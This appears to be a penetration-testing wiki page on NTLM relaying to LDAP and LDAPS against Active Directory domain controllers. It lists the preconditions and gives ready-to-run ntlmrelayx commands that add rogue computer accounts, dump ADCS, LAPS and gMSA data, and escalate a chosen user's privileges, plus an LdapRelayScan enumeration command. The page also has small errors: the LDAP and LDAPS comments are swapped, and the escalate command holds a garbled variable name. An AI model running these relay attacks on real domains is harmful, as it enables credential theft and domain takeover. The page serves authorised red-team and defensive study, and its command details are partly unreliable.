> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/infrastructure/active-directory/relaying/ldap-relaying.md).

# LDAP Relaying

LDAP Relaying attacks can make use of NTLM authentication. Similar to [SMB Relaying](/pentesting/infrastructure/active-directory/relaying/smb-relaying.md), an attacker who captures credentials via [MITM6](/pentesting/infrastructure/networks/ipv6.md) or Responder can then relay them to a domain controller, targeting LDAP.&#x20;

It should be noted that the following two defaults need to be set in order for this to be exploited:

* [LDAP Signing Disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-signing-in-windows-server)
* [LDAP Channel Binding Disabled](https://support.microsoft.com/en-us/topic/use-the-ldapenforcechannelbinding-registry-entry-to-make-ldap-authentication-over-ssl-tls-more-secure-e9ecfa27-5e57-8519-6ba3-d2c06b21812e)

### Enumeration

#### LDAPRelayScan

[LDAPRelayScan](https://github.com/zyn3rgy/LdapRelayScan) can be utilized to identify whether LDAP Signing and/or LDAP Channel Binding are enabled or not.

```bash
# Generic usage of LdapRelayScan.py  
LdapRelayScan.py -u $user -p $password -dc-ip $dcipaddress -method BOTH
```

### Exploitation

{% tabs %}
{% tab title="Computer Creation" %}
Create a new domain computer by abusing the default attribute `ms-DS-MachineAccountQuota` which is by default set to 10, allowing all authenticated users to add up to 10 computers to the domain.&#x20;

This account can then be utilized to perform authenticated attacks against the domain such as Kerberoasting.&#x20;

```bash
# Relay to LDAP
ntlmrelayx.py -t ldaps://$dcip --add-computer $computername

# Relay to LDAPS
ntlmrelayx.py -t ldap://$dcip --add-computer $computername 
```

{% endtab %}

{% tab title="Dump" %}
Relay authentication to LDAP and obtain a significant amount of information about the domain such as ADCS configuration, LAPS, groups, users, etc.&#x20;

```bash
ntlmrelayx -t "ldap://$dcip" --dump-adcs --dump-laps --dump-gmsa
```

{% endtab %}

{% tab title="Escalate" %}
Relay captured credentials to LDAPS and escalate the privileges of a specified domain user.&#x20;

```bash
# Relay authentication over LDAPS and attempt to escalate privileges
ntlmrelayx.py -t ldaps://$dcip --escalate-user $usernameLAReferences
```

{% endtab %}
{% endtabs %}

### References

{% embed url="<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>" %}

{% embed url="<https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adversary-in-the-middle/ldap-relay>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/ntlm/relay>" %}

{% embed url="<https://www.praetorian.com/blog/obtaining-laps-passwords-through-ldap-relaying-attacks/>" %}
